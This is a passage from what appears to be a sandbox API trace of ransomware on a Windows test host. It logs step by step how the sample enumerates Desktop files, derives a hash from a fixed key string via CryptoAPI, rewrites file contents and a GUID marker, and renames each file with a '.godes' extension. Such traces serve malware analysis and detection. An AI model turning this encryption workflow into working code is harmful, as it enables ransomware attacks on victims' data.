dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9fAUwhZz7XQ47.flv", cAlternateFileName="9FAUWH~1.FLV")) returned 1 [0112.977] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fAUwhZz7XQ47.flv") returned=".flv" [0112.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fAUwhZz7XQ47.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9fauwhzz7xq47.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.977] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=6777) returned 1 [0112.977] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.979] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1a53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.979] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.980] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1a79, lpOverlapped=0x0) returned 1 [0112.980] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.981] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.981] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.981] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.981] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.981] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.981] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.981] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.981] GetLastError () returned 0x0 [0112.981] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.981] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.982] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1a79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.982] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.982] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.982] CloseHandle (hObject=0x624) returned 1 [0112.983] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fAUwhZz7XQ47.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9fauwhzz7xq47.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fAUwhZz7XQ47.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9fauwhzz7xq47.flv.godes")) returned 1 [0112.984] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2285e0, ftCreationTime.dwHighDateTime=0x1d4c72e, ftLastAccessTime.dwLowDateTime=0x3e900a40, ftLastAccessTime.dwHighDateTime=0x1d4d5ae, ftLastWriteTime.dwLowDateTime=0x3e900a40, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x840b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9QtC.gif", cAlternateFileName="")) returned 1 [0112.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\al9QtC.gif") returned=".gif" [0112.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\al9QtC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\al9qtc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.985] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=33803) returned 1 [0112.985] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.986] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x83e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.987] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.987] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x840b, lpOverlapped=0x0) returned 1 [0112.987] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.987] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.987] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.987] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.988] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.988] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.988] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.988] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.988] GetLastError () returned 0x0 [0112.988] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.988] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.989] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x840b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.989] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.989] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.989] CloseHandle (hObject=0x624) returned 1 [0112.990] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\al9QtC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\al9qtc.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\al9QtC.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\al9qtc.gif.godes")) returned 1 [0112.992] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c9bf40, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0xfbb71bb0, ftLastAccessTime.dwHighDateTime=0x1d4cb84, ftLastWriteTime.dwLowDateTime=0xfbb71bb0, ftLastWriteTime.dwHighDateTime=0x1d4cb84, nFileSizeHigh=0x0, nFileSizeLow=0x63b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chaznO Q_Ziy0yX2s.ots", cAlternateFileName="CHAZNO~1.OTS")) returned 1 [0112.992] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chaznO Q_Ziy0yX2s.ots") returned=".ots" [0112.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chaznO Q_Ziy0yX2s.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chazno q_ziy0yx2s.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.992] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=25526) returned 1 [0112.993] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.994] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6390, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.994] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.996] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.996] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x63b6, lpOverlapped=0x0) returned 1 [0112.998] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.998] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.998] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.998] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.998] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.998] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.998] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.998] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.999] GetLastError () returned 0x0 [0112.999] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.999] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.999] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x63b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.999] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.999] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.999] CloseHandle (hObject=0x624) returned 1 [0113.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chaznO Q_Ziy0yX2s.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chazno q_ziy0yx2s.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chaznO Q_Ziy0yX2s.ots.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chazno q_ziy0yx2s.ots.godes")) returned 1 [0113.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.001] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.002] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9203dc80, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0x9203dc80, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x916b4600, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", cAlternateFileName="CUSERS~1.EXE")) returned 1 [0113.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned=".exe" [0113.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.002] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=598016) returned 1 [0113.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.003] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x91fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.003] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.005] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.006] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0113.007] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.007] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.007] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.007] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.007] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.008] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.008] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.008] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.008] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.008] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.008] GetLastError () returned 0x0 [0113.008] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.008] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.008] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25810) returned 0x3321120 [0113.012] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x92000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.012] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.012] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.012] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.012] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.012] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.012] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.012] CloseHandle (hObject=0x624) returned 1 [0113.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0113.021] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x3321120 [0113.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0113.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe.godes")) returned 1 [0113.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.021] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0113.022] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.022] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.022] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.022] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0113.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.022] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7aae970, ftCreationTime.dwHighDateTime=0x1d4cfc9, ftLastAccessTime.dwLowDateTime=0x4517a850, ftLastAccessTime.dwHighDateTime=0x1d4d0ea, ftLastWriteTime.dwLowDateTime=0x4517a850, ftLastWriteTime.dwHighDateTime=0x1d4d0ea, nFileSizeHigh=0x0, nFileSizeLow=0x1572c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dnuc8.swf", cAlternateFileName="")) returned 1 [0113.022] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.022] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dnuc8.swf") returned=".swf" [0113.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dnuc8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dnuc8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.023] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=87852) returned 1 [0113.023] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.024] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15706, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.024] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.026] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.026] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.026] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1572c, lpOverlapped=0x0) returned 1 [0113.027] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.027] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.027] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.027] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.027] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.028] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.028] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.028] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.028] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.028] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.028] GetLastError () returned 0x0 [0113.028] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.028] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.028] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x15730) returned 0x3321120 [0113.028] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.028] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x15727, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x15727, lpOverlapped=0x0) returned 1 [0113.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.029] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1572c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.029] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.029] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.029] WideCharToMultiByte (in: CodePage=0x0, 